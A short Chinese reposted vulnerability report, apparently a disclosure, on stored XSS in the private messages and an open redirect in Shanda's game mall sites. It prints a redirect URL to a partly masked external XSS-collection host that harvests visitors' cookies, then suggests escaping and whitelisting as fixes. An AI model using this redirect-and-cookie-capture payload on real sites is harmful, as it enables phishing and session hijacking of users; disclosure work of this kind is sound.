您现在的位置： 万盛学电脑网 >> 软件知识 >> 系统工具 >> 正文
盛大四个游戏商城XSS指哪打哪+URL重定向
作者：佚名 责任编辑：admin 更新时间：2022-06-22
发送短信息处可插入XSS 发给谁都行 打开就中招
用冒险岛的做例子...
URL重定向就是我已经用来测试钓鱼了... 自己看地址吧
http://city.mxd.sdo.com/default.aspx?mainUrl=http%3a%2f%2fxssin**e%2fauth.php%3fid%3d2407
然后pia pia pia地 cookies就来了
URL重定向就是我已经用来测试钓鱼了... 自己看地址吧
http://city.mxd.sdo.com/default.aspx?mainUrl=http%3a%2f%2fxssin**e%2fauth.php%3fid%3d2407
修复方案：
XSS修复方法：转义
URL重定向：做白名单
- 上一个软件知识： 绿盟视频会议系统SQL注入
- 下一个软件知识： 有利网任意用户密码重置及修补
